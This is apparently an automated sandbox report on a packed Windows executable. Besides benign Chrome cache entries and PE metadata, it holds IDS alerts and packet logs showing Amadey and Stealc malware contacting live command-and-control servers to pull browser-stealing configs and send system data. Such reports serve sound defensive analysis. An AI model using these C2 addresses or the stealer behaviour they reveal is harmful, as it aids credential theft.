Chrome Cache Entry: 438

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4077)
Category:	downloaded
Size (bytes):	4082
Entropy (8bit):	5.836569750157944
Encrypted:	false
SSDEEP:	96:vpJOoliysH6666Q2VdV75XHJ95VslRSbaJQfFqEmSiIsfffffX:L7HsH6666Q8v75XLslkbaJQLT1O
MD5:	2A5B12122781D0FAD8B25355EA15FD7D
SHA1:	6B6ED11BFB757ECC52912CF6A09DF222DBDCD317
SHA-256:	44CC2F9D171A86F30C58982000225E47EB225E5C53D0C18566ACED0B7FFA19EE
SHA-512:	215339C22E9C23F8779B98727FB53DD3E7AE068C34A67645ED7CC98FF236E6920DA8EBFCB0038BE5EF66F57BAE67935C1D517B1A14F8248C50A40851D5F5B849
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["general hospital spoilers willow","dragon quest 3 hd 2d remake","roki sasaki dodgers","yellowstone national park","social security benefits","julion alvarez concert tickets","justin wilson red sox","stealthy soar monopoly go rewards"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgovbS8wajJ3dGoyEitKdXN0aW4gV2lsc29uIOKAlCBBbWVyaWNhbiBiYXNlYmFsbCBwaXRjaGVyMusRZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CSWdBQ0VRRURFUUgveEFBYUFBQURBUUVCQVFBQUFBQUFBQUFBQUFBRUJRWURCd0VDLzhRQU54QUFBZ0VEQWdRRE

Chrome Cache Entry: 439

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 440

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 441

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435186996762761
Encrypted:	false
SSDEEP:	3072:f9kPdsBJT7bKwkztS6STFSz1nrmeSnXYK02i6o:fidUW5c5Sz1nKeSnoK08o
MD5:	BA160B38668D1775CBD57001BEADBC38
SHA1:	D1CB1BCF10E097B59DBCC880088106DD83B92742
SHA-256:	584DB8AC65236B39EACCA659AB7142291B695A25B28510BE749C943BD10EAAE8
SHA-512:	3494303BD78FF3257E288E92B7463F65A9D403451D62401BDD423DD2ACA5D6BEFFAF3F7540CE881987AA532631F71D3BF24A339342B60BD6395A010A3F8188F1
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 442

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 443

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 444

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950485569978371
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'812'992 bytes
MD5:	7e49d88ac571e5c78fdaa08fde637a9a
SHA1:	5b97a3c45497d8b0e8cec831ef1b45636eb17e83
SHA256:	d488822521f7d0508d17d03923c83e0cfba3285518093ce385ff3b7e31cfa122
SHA512:	8bf08f7d9f68655d7ec9281b88b1defa00da653f848b9241c43fe56b694a3b3d54188a192cb6cb9812a26942aa71f026cf50d9263d30129808ecc2f9ffcd7d75
SSDEEP:	24576:pU5Pb51WTGUYY3hD9xqn5O6viilRreay5Bpe2/u+9O87G4NbnxzcJv25OXfBYSnl:8PLae6rxmOsteLVe2/5EJ/Jv7qGDxOd
TLSH:	B98533AAE3D25DD0CD9904F69ED0BA99AB81170A8D1B7C2D884F442D8C9D7FFF419B40
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9d000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F00DCF53A7Ah
js 00007F00DCF53A91h
add byte ptr [eax], al
jmp 00007F00DCF55A75h
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
push edi
dec eax
dec eax
jbe 00007F00DCF53AE2h
push esi
dec edx
popad
je 00007F00DCF53ADBh
push edx
dec esi
jc 00007F00DCF53AEAh
cmp byte ptr [ebx], dh
push edx
jns 00007F00DCF53AB7h
or eax, 49674B0Ah
cmp byte ptr [edi+43h], dl
jnc 00007F00DCF53ABDh
bound eax, dword ptr [ecx+30h]
pop edx
inc edi
push esp
push 43473163h
aaa
push edi
dec esi
xor ebp, dword ptr [ebx+59h]
push edi
push edx
pop eax
je 00007F00DCF53AC7h
xor dl, byte ptr [ebx+2Bh]
popad
jne 00007F00DCF53ABCh
dec eax
dec ebp
jo 00007F00DCF53AB3h
xor dword ptr [edi], esi
inc esp
dec edx
dec ebp
jns 00007F00DCF53AC0h
insd
jnc 00007F00DCF53AE0h
aaa
inc esp
inc ecx
inc ebx
xor dl, byte ptr [ecx+4Bh]
inc edx
inc esp
bound esi, dword ptr [ebx]
or eax, 63656B0Ah
jno 00007F00DCF53AC8h
push edx
insb
js 00007F00DCF53AE1h
outsb
inc ecx
jno 00007F00DCF53AC2h
push ebp
inc esi
pop edx
xor eax, dword ptr [ebx+36h]
push eax
aaa
imul edx, dword ptr [ebx+58h], 4Eh
aaa
inc ebx
jbe 00007F00DCF53ABCh
dec ebx
js 00007F00DCF53AB3h
jne 00007F00DCF53AA1h
push esp
inc bp
outsb
inc edx
popad
dec ebx
insd
dec ebp
inc edi
xor dword ptr [ecx+36h], esp
push 0000004Bh
sub eax, dword ptr [ebp+33h]
jp 00007F00DCF53ACCh
dec edx
xor bh, byte ptr [edx+56h]
bound eax, dword ptr [edi+66h]
jbe 00007F00DCF53AAAh
dec eax
or eax, 506C720Ah
aaa
xor dword ptr fs:[ebp+62h], ecx
arpl word ptr [esi], si
inc esp
jo 00007F00DCF53AE3h

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	ff69e2d24d8f61b97c77dc5da5753579	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2af000	0x200	44ff3ed9b3b6e2d192436edb7fda3b6f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vdbxbskp	0x4fb000	0x1a1000	0x1a0c00	879a905385595659730ed7fafa88268f	False	0.9949144936637673	data	7.954724831953341	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ziryihmj	0x69c000	0x1000	0x600	d46cc6a8a0297aca231c4da74f76941c	False	0.544921875	data	4.827792158829032	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69d000	0x3000	0x2200	0a38e3784b13e4369cfcbaa2e0f16c86	False	0.35926011029411764	DOS executable (COM)	3.909016917200993	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-15T09:55:02.511989+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	50098	TCP
2024-11-15T09:55:14.399568+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-15T09:55:14.696264+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-15T09:55:14.702920+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49712	TCP
2024-11-15T09:55:14.982351+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-15T09:55:14.989812+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49712	TCP
2024-11-15T09:55:16.094647+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-15T09:55:16.812642+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49712	185.215.113.206	80	TCP
2024-11-15T09:55:40.229067+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:41.668011+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:42.667867+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:43.483516+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:45.752796+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:46.395905+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49872	185.215.113.206	80	TCP
2024-11-15T09:55:50.693651+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	50015	185.215.113.16	80	TCP
2024-11-15T09:57:05.583535+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50097	185.215.113.43	80	TCP
2024-11-15T09:57:08.951660+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	50099	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 15, 2024 09:55:02.511989117 CET	443	49700	104.98.116.138	192.168.2.7
Nov 15, 2024 09:55:02.512324095 CET	49700	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:03.252850056 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 09:55:03.315258026 CET	49675	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:03.315305948 CET	49674	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:03.362083912 CET	49672	443	192.168.2.7	104.98.116.138
Nov 15, 2024 09:55:06.237004042 CET	49677	443	192.168.2.7	20.50.201.200
Nov 15, 2024 09:55:07.711040020 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:07.711090088 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:07.711186886 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:07.711519957 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:07.711533070 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.455809116 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.455945015 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.459250927 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.459260941 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.459640980 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.467643023 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.511348009 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.710042953 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.710072041 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.710318089 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.710331917 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.710347891 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.710535049 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.710535049 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.828095913 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.828130960 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.828320026 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.828334093 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.830385923 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.945343971 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.945373058 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.946046114 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:08.946058989 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:08.946288109 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.062160969 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.062186956 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.062632084 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.062648058 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.062911987 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.180078030 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.180100918 CET	443	49701	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:09.180205107 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.180205107 CET	49701	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:09.180222034 CET	443	49701	13.107.246.45	192.168.2.7
